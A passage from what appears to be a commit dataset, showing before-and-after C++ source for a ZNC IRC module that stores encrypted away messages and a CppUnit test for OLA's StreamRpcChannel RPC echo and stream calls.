);\n\t\t\t\tsize_t iCount = strftime( szFormat, 64, \"%F %T\", &t );\n\t\t\t\tif ( iCount <= 0 )\n\t\t\t\t{\n\t\t\t\t\tPutModule( \"Corrupt time stamp! [\" + m_vMessages[a] + \"]\", \"away\" );\n\t\t\t\t\tm_vMessages.erase( m_vMessages.begin() + a-- );\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tstring sTmp = \"    \" + CUtils::ToString( a ) + \") [\";\n\t\t\t\tsTmp.append( szFormat, iCount );\n\t\t\t\tsTmp += \"] \";\n\t\t\t\tsTmp += sMessage;\n\t\t\t\tmsvOutput[sWhom].push_back( sTmp );\n\t\t\t}\n\t\t\tfor( map< string, vector< string> >::iterator it = msvOutput.begin(); it != msvOutput.end(); it++ )\n\t\t\t{\n\t\t\t\tPutModule( it->first, \"away\" );\n\t\t\t\tfor( u_int a = 0; a < it->second.size(); a++ )\n\t\t\t\t\tPutModule( it->second[a] );\n\t\t\t}\n\t\t\tPutModule( \"#--- End Messages\", \"away\" );\n\t\t\t\t\t\n\t\t} else\n\t\t{\n\t\t\tPutModule( \"Commands: away, back, delete <num|all>, ping, show, save\", \"away\" );\n\t\t}\n\t}\n\n\tstring GetPath()\n\t{\n\t\tstring sBuffer = m_pUser->GetUserName();\n\t\tstring sRet = m_pUser->GetHomePath();\n\t\tsRet += \"\/.znc-away-\" + CBlowfish::MD5( sBuffer, true );\n\t\treturn( sRet );\n\t}\n\n\tvirtual void Away( bool bForce = false, const string & sReason = \"\" )\n\t{\n\t\tif ( ( !m_bIsAway ) || ( bForce ) )\n\t\t{\n\t\t\tif ( !bForce )\n\t\t\t\tm_sReason = sReason;\n\t\t\telse if ( !sReason.empty() )\n\t\t\t\tm_sReason = sReason;\n\n\t\t\ttime_t iTime = time( NULL );\n\t\t\tchar *pTime = ctime( &iTime );\n\t\t\tstring sTime;\n\t\t\tif ( pTime )\n\t\t\t{\n\t\t\t\tsTime = pTime;\n\t\t\t\tCUtils::Trim( sTime );\n\t\t\t}\n\t\t\tif ( m_sReason.empty() )\n\t\t\t\tm_sReason = \"away :Auto Away at \" + sTime;\n\t\t\tPutIRC( m_sReason );\n\t\t\tm_bIsAway = true;\n\t\t}\n\t}\n\n\tvirtual void Back( bool bUsePrivMessage = false )\n\t{\n\t\tPutIRC( \"away\" );\n\t\tm_bIsAway = false;\n\t\tif ( !m_vMessages.empty() )\n\t\t{\n\t\t\tif ( bUsePrivMessage )\n\t\t\t{\n\t\t\t\tPutModule( \"Welcome Back!\", \"away\" );\n\t\t\t\tPutModule( \"You have \" + CUtils::ToString( m_vMessages.size() ) + \" messages!\", \"away\" );\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tPutModNotice( \"Welcome Back!\", \"away\" );\n\t\t\t\tPutModNotice( \"You have \" + CUtils::ToString( m_vMessages.size() ) + \" messages!\", \"away\" );\n\t\t\t}\n\t\t}\n\t\tm_sReason = \"\";\n\t}\n\n\tvirtual bool OnPrivMsg(const CNick& Nick, string& sMessage)\n\t{\n\t\tif ( m_bIsAway )\n\t\t\tAddMessage( time( NULL ), Nick, sMessage );\n\t\treturn( false );\t\n\t}\n\t\n\tvirtual bool OnUserMsg(const string& sTarget, string& sMessage)\n\t{\n\t\tPing();\n\t\tif( m_bIsAway )\n\t\t\tBack();\n\t\t\n\t\treturn( false );\t\n\t}\n\n\ttime_t GetTimeStamp() const { return( m_iLastSentData ); }\n\tvoid Ping() { m_iLastSentData = time( NULL ); }\n\n\tbool IsAway() { return( m_bIsAway ); }\n\nprivate:\n\tstring\tm_sPassword;\n\tbool DecryptMessages( string & sBuffer )\n\t{\n\t\tstring sMessages = GetPath();\n\t\tstring sFile;\n\t\tsBuffer = \"\";\n\t\n\t\tif ( ( sMessages.empty() ) || ( !ReadFile( sMessages, sFile ) ) )\n\t\t{\n\t\t\t PutModule( \"Unable to find buffer\" );\n\t\t\t return( true ); \/\/ gonna be successful here\n\t\t}\n\n\t\tif ( !sFile.empty() )\n\t\t{\n\t\t\tCBlowfish c( m_sPassword, BF_DECRYPT );\n\t\t\tsBuffer = c.Crypt( sFile );\n\n\t\t\tif ( sBuffer.substr( 0, strlen( CRYPT_VERIFICATION_TOKEN ) ) != CRYPT_VERIFICATION_TOKEN )\n\t\t\t{\n\t\t\t\t\/\/ failed to decode :(\n\t\t\t\tPutModule( \"Unable to decode Encrypted messages\" );\n\t\t\t\treturn( false );\n\t\t\t}\n\t\t\tsBuffer.erase( 0, strlen( CRYPT_VERIFICATION_TOKEN ) );\n\t\t}\n\t\treturn( true );\n\t}\n\n\tvoid AddMessage( time_t iTime, const CNick & Nick, string & sMessage )\n\t{\n\t\tAddMessage( CUtils::ToString( iTime ) + \":\" + Nick.GetNickMask() + \":\" + sMessage );\n\t}\n\n\tvoid AddMessage( const string & sText )\n\t{\n\t\tm_vMessages.push_back( sText );\n\t}\n\n\ttime_t\t\t\tm_iLastSentData;\n\tbool\t\t\tm_bIsAway;\n\tvector<string>\tm_vMessages;\n\tstring\t\t\tm_sReason;\n};\n\n\nvoid CAwayJob::RunJob()\n{\n\tCAway *p = (CAway *)m_pModule;\n\tp->SaveBufferToDisk();\n\t\n\tif ( !p->IsAway() )\n\t{\n\t\ttime_t iNow = time( NULL );\n\n\t\tif ( ( iNow - p->GetTimeStamp() ) > 300 )\n\t\t{\n\t\t\tp->PutModNotice( \"You have been marked as away\", \"away\" );\n\t\t\tp->Away();\n\t\t}\n\t}\n}\n\nMODULEDEFS(CAway)\n\n<commit_msg>ability to change pass<commit_after>#include \"main.h\"\n#include \"User.h\"\n#include \"Nick.h\"\n#include \"Modules.h\"\n#include \"Chan.h\"\n#include \"Utils.h\"\n#include <pwd.h>\n#include <map>\n#include <vector>\n\n#ifndef HAVE_LIBSSL\n#error This plugin only works with OpenSSL\n#endif \/* HAVE_LIBSSL *\/\n\n#define CRYPT_VERIFICATION_TOKEN \"::__:AWAY:__::\"\n\n\/*\n * Quiet Away and message logger\n * Author: imaginos <imaginos@imaginos.net>\n *\n * \n * $Log$\n * Revision 1.4  2005\/04\/02 22:22:24  imaginos\n * ability to change pass\n *\n * Revision 1.3  2005\/04\/01 08:55:41  imaginos\n * keep things in synch\n *\n * Revision 1.2  2005\/04\/01 08:49:46  imaginos\n * woops actually delete the message\n *\n * Revision 1.1  2005\/04\/01 08:30:47  imaginos\n * simple away script\n *\n *\n *\/\n\nclass CAway;\n\nclass CAwayJob : public CTimer \n{\npublic:\n\tCAwayJob( CModule* pModule, unsigned int uInterval, unsigned int uCycles, const string& sLabel, const string& sDescription ) \n\t\t: CTimer( pModule, uInterval, uCycles, sLabel, sDescription) {}\n\n\tvirtual ~CAwayJob() {}\n\nprotected:\n\tvirtual void RunJob();\n};\n\nclass CAway : public CModule \n{\npublic:\n\tMODCONSTRUCTOR(CAway)\n\t{\n\t\tPing();\t\n\t\tm_bIsAway = false;\n\t\tAddTimer( new CAwayJob( this, 60, 0, \"AwayJob\", \"Checks for idle and saves messages every 1 minute\" ) );\n\t}\n\tvirtual ~CAway() \n\t{\n\t\tSaveBufferToDisk();\n\t}\n\n\tvirtual bool OnBoot()\n\t{\n\t\tif ( m_sPassword.empty() )\n\t\t{\n\t\t\tchar *pTmp = getpass( \"Enter Encryption Key for away.so: \" );\n\n\t\t\tif ( pTmp )\n\t\t\t\tm_sPassword = CBlowfish::MD5( pTmp );\n\n\t\t\t*pTmp = 0;\n\t\t}\n\t\t\n\t\tif ( !BootStrap() )\n\t\t\treturn( false );\n\n\t\treturn( true );\n\t}\n\n\tvirtual void OnIRCConnected()\n\t{\n\t\tif( m_bIsAway )\n\t\t\tAway( true ); \/\/ reset away if we are reconnected\n\t\telse\n\t\t\tBack();\t\/\/ ircd seems to remember your away if you killed the client and came back\n\t}\n\n\tbool BootStrap()\n\t{\n\t\tstring sFile;\n\t\tif ( DecryptMessages( sFile ) )\n\t\t{\n\t\t\tstring sLine;\n\t\t\tu_int iPos = 0;\n\t\t\twhile( ReadLine( sFile, sLine, iPos ) )\n\t\t\t{\n\t\t\t\tCUtils::Trim( sLine );\n\t\t\t\tAddMessage( sLine );\n\t\t\t}\n\t\t} else\n\t\t{\n\t\t\tcerr << \"Failed to Decrypt Messages\" << endl;\n\t\t\treturn( false );\n\t\t}\n\n\t\treturn( true );\n\t}\n\t\n\tvoid SaveBufferToDisk()\n\t{\n\t\tif ( !m_sPassword.empty() )\n\t\t{\n\t\t\tstring sFile = CRYPT_VERIFICATION_TOKEN;\n\t\t\t\n\t\t\tfor( u_int b = 0; b < m_vMessages.size(); b++ )\n\t\t\t\tsFile += m_vMessages[b] + \"\\n\";\n\n\t\t\tCBlowfish c( m_sPassword, BF_ENCRYPT );\n\t\t\tsFile = c.Crypt( sFile );\n\t\t\tstring sPath = GetPath();\n\t\t\tif ( !sPath.empty() )\n\t\t\t{\n\t\t\t\tWriteFile( sPath, sFile );\n\t\t\t\tchmod( sPath.c_str(), 0600 );\n\t\t\t}\n\t\t}\n\t}\n\n\tvirtual void OnUserAttached()\n\t{\n\t\tBack( true );\n\t}\n\tvirtual void OnUserDetached()\n\t{\n\t\tAway();\n\t}\n\n\tvirtual string GetDescription() \n\t{\n\t\treturn ( \"Stores messages while away, also auto away\" );\n\t}\n\t\n\tvirtual void OnModCommand( const string& sCommand )\n\t{\n\t\tstring sCmdName = CUtils::Token(sCommand, 0);\n\t\tif ( sCmdName == \"away\" )\n\t\t{\n\t\t\tAway();\n\t\t\tPutModNotice( \"You have been marked as away\", \"away\" );\n\t\t}\t\n\t\telse if ( sCmdName == \"back\" )\n\t\t{\n\t\t\tif ( m_vMessages.empty() )\n\t\t\t\tPutModNotice( \"Welcome Back!\", \"away\" );\n\t\t\tBack();\n\t\t}\n\t\telse if ( sCmdName == \"messages\" )\n\t\t{\n\t\t\tfor( u_int a = 0; a < m_vMessages.size(); a++ )\n\t\t\t\tPutModule( m_vMessages[a], \"away\" );\n\t\t} \n\t\telse if ( sCmdName == \"delete\" )\n\t\t{\n\t\t\tstring sWhich = CUtils::Token(sCommand, 1);\n\t\t\tif ( sWhich == \"all\" )\n\t\t\t{\n\t\t\t\tPutModNotice( \"Deleted \" + CUtils::ToString( m_vMessages.size() ) + \" Messages.\", \"away\" );\n\t\t\t\tfor( u_int a = 0; a < m_vMessages.size(); a++ )\n\t\t\t\t\tm_vMessages.erase( m_vMessages.begin() + a-- );\n\n\t\t\t} \n\t\t\telse if ( sWhich.empty() )\n\t\t\t{\n\t\t\t\tPutModNotice( \"USAGE: delete <num|all>\", \"away\" );\n\t\t\t\treturn;\n\t\t\t} else\n\t\t\t{\n\t\t\t\tu_int iNum = atoi( sWhich.c_str() );\n\t\t\t\tif ( iNum >= m_vMessages.size() )\n\t\t\t\t{\n\t\t\t\t\tPutModNotice( \"Illegal Message # Requested\", \"away\" );\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tm_vMessages.erase( m_vMessages.begin() + iNum );\n\t\t\t\t\tPutModNotice( \"Message Erased.\", \"away\" );\n\t\t\t\t}\n\t\t\t\tSaveBufferToDisk();\n\t\t\t}\n\t\t}\n\t\telse if ( sCmdName == \"save\" )\n\t\t{\n\t\t\tSaveBufferToDisk();\n\t\t\tPutModNotice( \"Messages saved to disk.\", \"away\" );\n\t\t}\n\t\telse if ( sCmdName == \"ping\" )\n\t\t{\n\t\t\tPing();\n\t\t\tif ( m_bIsAway )\n\t\t\t\tBack();\n\t\t}\n\t\telse if ( sCmdName == \"pass\" )\n\t\t{\n\t\t\tm_sPassword = CUtils::Token( sCommand, 1 );\n\t\t\tPutModNotice( \"Password Updated to [\" + m_sPassword + \"]\" );\n\t\t}\n\t\telse if ( sCmdName == \"show\" )\n\t\t{\n\t\t\tmap< string, vector< string> > msvOutput;\n\t\t\tfor( u_int a = 0; a < m_vMessages.size(); a++ )\n\t\t\t{\n\t\t\t\tstring sTime = CUtils::Token( m_vMessages[a], 0, false, ':' );\n\t\t\t\tstring sWhom = CUtils::Token( m_vMessages[a], 1, false, ':' );\n\t\t\t\tstring sMessage = CUtils::Token( m_vMessages[a], 2, true, ':' );\n\t\t\t\t\n\t\t\t\tif ( ( sTime.empty() ) || ( sWhom.empty() ) || ( sMessage.empty() ) )\n\t\t\t\t{\n\t\t\t\t\t\/\/ illegal format\n\t\t\t\t\tPutModule( \"Corrupt message! [\" + m_vMessages[a] + \"]\", \"away\" );\n\t\t\t\t\tm_vMessages.erase( m_vMessages.begin() + a-- );\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\ttime_t iTime = strtol( sTime.c_str(), NULL, 10 );\n\t\t\t\tchar szFormat[64];\n\t\t\t\tstruct tm t;\n\t\t\t\tlocaltime_r( &iTime, &t );\n\t\t\t\tsize_t iCount = strftime( szFormat, 64, \"%F %T\", &t );\n\t\t\t\tif ( iCount <= 0 )\n\t\t\t\t{\n\t\t\t\t\tPutModule( \"Corrupt time stamp! [\" + m_vMessages[a] + \"]\", \"away\" );\n\t\t\t\t\tm_vMessages.erase( m_vMessages.begin() + a-- );\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tstring sTmp = \"    \" + CUtils::ToString( a ) + \") [\";\n\t\t\t\tsTmp.append( szFormat, iCount );\n\t\t\t\tsTmp += \"] \";\n\t\t\t\tsTmp += sMessage;\n\t\t\t\tmsvOutput[sWhom].push_back( sTmp );\n\t\t\t}\n\t\t\tfor( map< string, vector< string> >::iterator it = msvOutput.begin(); it != msvOutput.end(); it++ )\n\t\t\t{\n\t\t\t\tPutModule( it->first, \"away\" );\n\t\t\t\tfor( u_int a = 0; a < it->second.size(); a++ )\n\t\t\t\t\tPutModule( it->second[a] );\n\t\t\t}\n\t\t\tPutModule( \"#--- End Messages\", \"away\" );\n\t\t\t\t\t\n\t\t} else\n\t\t{\n\t\t\tPutModule( \"Commands: away, back, delete <num|all>, ping, show, save\", \"away\" );\n\t\t}\n\t}\n\n\tstring GetPath()\n\t{\n\t\tstring sBuffer = m_pUser->GetUserName();\n\t\tstring sRet = m_pUser->GetHomePath();\n\t\tsRet += \"\/.znc-away-\" + CBlowfish::MD5( sBuffer, true );\n\t\treturn( sRet );\n\t}\n\n\tvirtual void Away( bool bForce = false, const string & sReason = \"\" )\n\t{\n\t\tif ( ( !m_bIsAway ) || ( bForce ) )\n\t\t{\n\t\t\tif ( !bForce )\n\t\t\t\tm_sReason = sReason;\n\t\t\telse if ( !sReason.empty() )\n\t\t\t\tm_sReason = sReason;\n\n\t\t\ttime_t iTime = time( NULL );\n\t\t\tchar *pTime = ctime( &iTime );\n\t\t\tstring sTime;\n\t\t\tif ( pTime )\n\t\t\t{\n\t\t\t\tsTime = pTime;\n\t\t\t\tCUtils::Trim( sTime );\n\t\t\t}\n\t\t\tif ( m_sReason.empty() )\n\t\t\t\tm_sReason = \"away :Auto Away at \" + sTime;\n\t\t\tPutIRC( m_sReason );\n\t\t\tm_bIsAway = true;\n\t\t}\n\t}\n\n\tvirtual void Back( bool bUsePrivMessage = false )\n\t{\n\t\tPutIRC( \"away\" );\n\t\tm_bIsAway = false;\n\t\tif ( !m_vMessages.empty() )\n\t\t{\n\t\t\tif ( bUsePrivMessage )\n\t\t\t{\n\t\t\t\tPutModule( \"Welcome Back!\", \"away\" );\n\t\t\t\tPutModule( \"You have \" + CUtils::ToString( m_vMessages.size() ) + \" messages!\", \"away\" );\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tPutModNotice( \"Welcome Back!\", \"away\" );\n\t\t\t\tPutModNotice( \"You have \" + CUtils::ToString( m_vMessages.size() ) + \" messages!\", \"away\" );\n\t\t\t}\n\t\t}\n\t\tm_sReason = \"\";\n\t}\n\n\tvirtual bool OnPrivMsg(const CNick& Nick, string& sMessage)\n\t{\n\t\tif ( m_bIsAway )\n\t\t\tAddMessage( time( NULL ), Nick, sMessage );\n\t\treturn( false );\t\n\t}\n\t\n\tvirtual bool OnUserNotice(const string& sTarget, string& sMessage)\n\t{\n\t\tPing();\n\t\tif( m_bIsAway )\n\t\t\tBack();\n\t\t\n\t\treturn( false );\t\n\t}\n\tvirtual bool OnUserMsg(const string& sTarget, string& sMessage)\n\t{\n\t\tPing();\n\t\tif( m_bIsAway )\n\t\t\tBack();\n\t\t\n\t\treturn( false );\t\n\t}\n\n\ttime_t GetTimeStamp() const { return( m_iLastSentData ); }\n\tvoid Ping() { m_iLastSentData = time( NULL ); }\n\n\tbool IsAway() { return( m_bIsAway ); }\n\nprivate:\n\tstring\tm_sPassword;\n\tbool DecryptMessages( string & sBuffer )\n\t{\n\t\tstring sMessages = GetPath();\n\t\tstring sFile;\n\t\tsBuffer = \"\";\n\t\n\t\tif ( ( sMessages.empty() ) || ( !ReadFile( sMessages, sFile ) ) )\n\t\t{\n\t\t\t PutModule( \"Unable to find buffer\" );\n\t\t\t return( true ); \/\/ gonna be successful here\n\t\t}\n\n\t\tif ( !sFile.empty() )\n\t\t{\n\t\t\tCBlowfish c( m_sPassword, BF_DECRYPT );\n\t\t\tsBuffer = c.Crypt( sFile );\n\n\t\t\tif ( sBuffer.substr( 0, strlen( CRYPT_VERIFICATION_TOKEN ) ) != CRYPT_VERIFICATION_TOKEN )\n\t\t\t{\n\t\t\t\t\/\/ failed to decode :(\n\t\t\t\tPutModule( \"Unable to decode Encrypted messages\" );\n\t\t\t\treturn( false );\n\t\t\t}\n\t\t\tsBuffer.erase( 0, strlen( CRYPT_VERIFICATION_TOKEN ) );\n\t\t}\n\t\treturn( true );\n\t}\n\n\tvoid AddMessage( time_t iTime, const CNick & Nick, string & sMessage )\n\t{\n\t\tAddMessage( CUtils::ToString( iTime ) + \":\" + Nick.GetNickMask() + \":\" + sMessage );\n\t}\n\n\tvoid AddMessage( const string & sText )\n\t{\n\t\tm_vMessages.push_back( sText );\n\t}\n\n\ttime_t\t\t\tm_iLastSentData;\n\tbool\t\t\tm_bIsAway;\n\tvector<string>\tm_vMessages;\n\tstring\t\t\tm_sReason;\n};\n\n\nvoid CAwayJob::RunJob()\n{\n\tCAway *p = (CAway *)m_pModule;\n\tp->SaveBufferToDisk();\n\t\n\tif ( !p->IsAway() )\n\t{\n\t\ttime_t iNow = time( NULL );\n\n\t\tif ( ( iNow - p->GetTimeStamp() ) > 300 )\n\t\t\tp->Away();\n\t}\n}\n\nMODULEDEFS(CAway)\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *  This program is free software; you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation; either version 2 of the License, or\n *  (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU Library General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with this program; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n *\n * StreamRpcChannelTest.cpp\n * Test fixture for the StreamRpcChannel class\n * Copyright (C) 2005-2008 Simon Newton\n *\/\n\n#include <cppunit\/extensions\/HelperMacros.h>\n#include <google\/protobuf\/stubs\/common.h>\n#include <string>\n#include \"ola\/network\/SelectServer.h\"\n#include \"ola\/network\/Socket.h\"\n#include \"common\/rpc\/StreamRpcChannel.h\"\n#include \"common\/rpc\/SimpleRpcController.h\"\n#include \"common\/rpc\/TestService.pb.h\"\n\nusing google::protobuf::NewCallback;\nusing ola::network::LoopbackSocket;\nusing ola::network::SelectServer;\nusing ola::rpc::EchoReply;\nusing ola::rpc::EchoRequest;\nusing ola::rpc::STREAMING_NO_RESPONSE;\nusing ola::rpc::SimpleRpcController;\nusing ola::rpc::StreamRpcChannel;\nusing ola::rpc::TestService;\nusing ola::rpc::TestService_Stub;\nusing std::string;\n\n\/*\n * Our test implementation\n *\/\nclass TestServiceImpl: public TestService {\n  public:\n    explicit TestServiceImpl(SelectServer *ss): m_ss(ss) {}\n    ~TestServiceImpl() {}\n\n    void Echo(::google::protobuf::RpcController* controller,\n              const EchoRequest* request,\n              EchoReply* response,\n              ::google::protobuf::Closure* done);\n\n    void FailedEcho(::google::protobuf::RpcController* controller,\n                    const EchoRequest* request,\n                    EchoReply* response,\n                    ::google::protobuf::Closure* done);\n\n    void Stream(::google::protobuf::RpcController* controller,\n                const ::ola::rpc::EchoRequest* request,\n                STREAMING_NO_RESPONSE* response,\n                ::google::protobuf::Closure* done);\n\n  private:\n    SelectServer *m_ss;\n};\n\n\nclass StreamRpcChannelTest: public CppUnit::TestFixture {\n  CPPUNIT_TEST_SUITE(StreamRpcChannelTest);\n  CPPUNIT_TEST(testEcho);\n  CPPUNIT_TEST(testFailedEcho);\n  CPPUNIT_TEST(testStreamRequest);\n  CPPUNIT_TEST_SUITE_END();\n\n  public:\n    void setUp();\n    void tearDown();\n    void testEcho();\n    void testFailedEcho();\n    void testStreamRequest();\n    void EchoComplete();\n    void FailedEchoComplete();\n\n  private:\n    int m_fd_pair[2];\n    SimpleRpcController m_controller;\n    EchoRequest m_request;\n    EchoReply m_reply;\n    TestService_Stub *m_stub;\n    SelectServer m_ss;\n    TestServiceImpl *m_service;\n    StreamRpcChannel *m_channel;\n    LoopbackSocket *m_socket;\n};\n\n\nCPPUNIT_TEST_SUITE_REGISTRATION(StreamRpcChannelTest);\n\n\nvoid TestServiceImpl::Echo(::google::protobuf::RpcController* controller,\n                           const EchoRequest* request,\n                           EchoReply* response,\n                           ::google::protobuf::Closure* done) {\n  response->set_data(request->data());\n  done->Run();\n  (void) controller;\n  (void) request;\n}\n\n\nvoid TestServiceImpl::FailedEcho(::google::protobuf::RpcController* controller,\n                                 const EchoRequest* request,\n                                 EchoReply* response,\n                                 ::google::protobuf::Closure* done) {\n  controller->SetFailed(\"Error\");\n  done->Run();\n  (void) request;\n  (void) response;\n}\n\nvoid TestServiceImpl::Stream(::google::protobuf::RpcController* controller,\n                             const ::ola::rpc::EchoRequest* request,\n                             STREAMING_NO_RESPONSE* response,\n                             ::google::protobuf::Closure* done) {\n  CPPUNIT_ASSERT(!controller);\n  CPPUNIT_ASSERT(!response);\n  CPPUNIT_ASSERT(!done);\n  m_ss->Terminate();\n}\n\n\nvoid StreamRpcChannelTest::setUp() {\n  m_socket = new LoopbackSocket();\n  m_socket->Init();\n\n  m_service = new TestServiceImpl(&m_ss);\n  m_channel = new StreamRpcChannel(m_service, m_socket);\n  m_ss.AddSocket(m_socket);\n  m_stub = new TestService_Stub(m_channel);\n}\n\n\nvoid StreamRpcChannelTest::tearDown() {\n  m_ss.RemoveSocket(m_socket);\n  delete m_socket;\n  delete m_stub;\n  delete m_channel;\n  delete m_service;\n}\n\n\nvoid StreamRpcChannelTest::EchoComplete() {\n  m_ss.Terminate();\n  CPPUNIT_ASSERT(!m_controller.Failed());\n  CPPUNIT_ASSERT_EQUAL(m_reply.data(), m_request.data());\n}\n\n\nvoid StreamRpcChannelTest::FailedEchoComplete() {\n  m_ss.Terminate();\n  CPPUNIT_ASSERT(m_controller.Failed());\n}\n\n\n\/*\n * Check that we can call the echo method in the TestServiceImpl.\n *\/\nvoid StreamRpcChannelTest::testEcho() {\n  m_request.set_data(\"foo\");\n  m_stub->Echo(&m_controller,\n               &m_request,\n               &m_reply,\n               NewCallback(this, &StreamRpcChannelTest::EchoComplete));\n\n  m_ss.Run();\n}\n\n\n\/*\n * Check that method that fail return correctly\n *\/\nvoid StreamRpcChannelTest::testFailedEcho() {\n  m_request.set_data(\"foo\");\n  m_stub->FailedEcho(\n      &m_controller,\n      &m_request,\n      &m_reply,\n      NewCallback(this, &StreamRpcChannelTest::FailedEchoComplete));\n  m_ss.Run();\n}\n\n\/*\n * Check stream requests work\n *\/\nvoid StreamRpcChannelTest::testStreamRequest() {\n  m_request.set_data(\"foo\");\n  m_stub->Stream(NULL, &m_request, NULL, NULL);\n  m_ss.Run();\n}\n<commit_msg> * clean up a test warning<commit_after>\/*\n *  This program is free software; you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation; either version 2 of the License, or\n *  (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU Library General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with this program; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n *\n * StreamRpcChannelTest.cpp\n * Test fixture for the StreamRpcChannel class\n * Copyright (C) 2005-2008 Simon Newton\n *\/\n\n#include <cppunit\/extensions\/HelperMacros.h>\n#include <google\/protobuf\/stubs\/common.h>\n#include <string>\n#include \"ola\/network\/SelectServer.h\"\n#include \"ola\/network\/Socket.h\"\n#include \"common\/rpc\/StreamRpcChannel.h\"\n#include \"common\/rpc\/SimpleRpcController.h\"\n#include \"common\/rpc\/TestService.pb.h\"\n\nusing google::protobuf::NewCallback;\nusing ola::network::LoopbackSocket;\nusing ola::network::SelectServer;\nusing ola::rpc::EchoReply;\nusing ola::rpc::EchoRequest;\nusing ola::rpc::STREAMING_NO_RESPONSE;\nusing ola::rpc::SimpleRpcController;\nusing ola::rpc::StreamRpcChannel;\nusing ola::rpc::TestService;\nusing ola::rpc::TestService_Stub;\nusing std::string;\n\n\/*\n * Our test implementation\n *\/\nclass TestServiceImpl: public TestService {\n  public:\n    explicit TestServiceImpl(SelectServer *ss): m_ss(ss) {}\n    ~TestServiceImpl() {}\n\n    void Echo(::google::protobuf::RpcController* controller,\n              const EchoRequest* request,\n              EchoReply* response,\n              ::google::protobuf::Closure* done);\n\n    void FailedEcho(::google::protobuf::RpcController* controller,\n                    const EchoRequest* request,\n                    EchoReply* response,\n                    ::google::protobuf::Closure* done);\n\n    void Stream(::google::protobuf::RpcController* controller,\n                const ::ola::rpc::EchoRequest* request,\n                STREAMING_NO_RESPONSE* response,\n                ::google::protobuf::Closure* done);\n\n  private:\n    SelectServer *m_ss;\n};\n\n\nclass StreamRpcChannelTest: public CppUnit::TestFixture {\n  CPPUNIT_TEST_SUITE(StreamRpcChannelTest);\n  CPPUNIT_TEST(testEcho);\n  CPPUNIT_TEST(testFailedEcho);\n  CPPUNIT_TEST(testStreamRequest);\n  CPPUNIT_TEST_SUITE_END();\n\n  public:\n    void setUp();\n    void tearDown();\n    void testEcho();\n    void testFailedEcho();\n    void testStreamRequest();\n    void EchoComplete();\n    void FailedEchoComplete();\n\n  private:\n    int m_fd_pair[2];\n    SimpleRpcController m_controller;\n    EchoRequest m_request;\n    EchoReply m_reply;\n    TestService_Stub *m_stub;\n    SelectServer m_ss;\n    TestServiceImpl *m_service;\n    StreamRpcChannel *m_channel;\n    LoopbackSocket *m_socket;\n};\n\n\nCPPUNIT_TEST_SUITE_REGISTRATION(StreamRpcChannelTest);\n\n\nvoid TestServiceImpl::Echo(::google::protobuf::RpcController* controller,\n                           const EchoRequest* request,\n                           EchoReply* response,\n                           ::google::protobuf::Closure* done) {\n  response->set_data(request->data());\n  done->Run();\n  (void) controller;\n  (void) request;\n}\n\n\nvoid TestServiceImpl::FailedEcho(::google::protobuf::RpcController* controller,\n                                 const EchoRequest* request,\n                                 EchoReply* response,\n                                 ::google::protobuf::Closure* done) {\n  controller->SetFailed(\"Error\");\n  done->Run();\n  (void) request;\n  (void) response;\n}\n\nvoid TestServiceImpl::Stream(::google::protobuf::RpcController* controller,\n                             const ::ola::rpc::EchoRequest* request,\n                             STREAMING_NO_RESPONSE* response,\n                             ::google::protobuf::Closure* done) {\n  CPPUNIT_ASSERT(!controller);\n  CPPUNIT_ASSERT(!response);\n  CPPUNIT_ASSERT(!done);\n  CPPUNIT_ASSERT(request);\n  CPPUNIT_ASSERT_EQUAL(string(\"foo\"), request->data());\n  m_ss->Terminate();\n}\n\n\nvoid StreamRpcChannelTest::setUp() {\n  m_socket = new LoopbackSocket();\n  m_socket->Init();\n\n  m_service = new TestServiceImpl(&m_ss);\n  m_channel = new StreamRpcChannel(m_service, m_socket);\n  m_ss.AddSocket(m_socket);\n  m_stub = new TestService_Stub(m_channel);\n}\n\n\nvoid StreamRpcChannelTest::tearDown() {\n  m_ss.RemoveSocket(m_socket);\n  delete m_socket;\n  delete m_stub;\n  delete m_channel;\n  delete m_service;\n}\n\n\nvoid StreamRpcChannelTest::EchoComplete() {\n  m_ss.Terminate();\n  CPPUNIT_ASSERT(!m_controller.Failed());\n  CPPUNIT_ASSERT_EQUAL(m_reply.data(), m_request.data());\n}\n\n\nvoid StreamRpcChannelTest::FailedEchoComplete() {\n  m_ss.Terminate();\n  CPPUNIT_ASSERT(m_controller.Failed());\n}\n\n\n\/*\n * Check that we can call the echo method in the TestServiceImpl.\n *\/\nvoid StreamRpcChannelTest::testEcho() {\n  m_request.set_data(\"foo\");\n  m_stub->Echo(&m_controller,\n               &m_request,\n               &m_reply,\n               NewCallback(this, &StreamRpcChannelTest::EchoComplete));\n\n  m_ss.Run();\n}\n\n\n\/*\n * Check that method that fail return correctly\n *\/\nvoid StreamRpcChannelTest::testFailedEcho() {\n  m_request.set_data(\"foo\");\n  m_stub->FailedEcho(\n      &m_controller,\n      &m_request,\n      &m_reply,\n      NewCallback(this, &StreamRpcChannelTest::FailedEchoComplete));\n  m_ss.Run();\n}\n\n\/*\n * Check stream requests work\n *\/\nvoid StreamRpcChannelTest::testStreamRequest() {\n  m_request.set_data(\"foo\");\n  m_stub->Stream(NULL, &m_request, NULL, NULL);\n  m_ss.Run();\n}\n<|endoftext|>"}
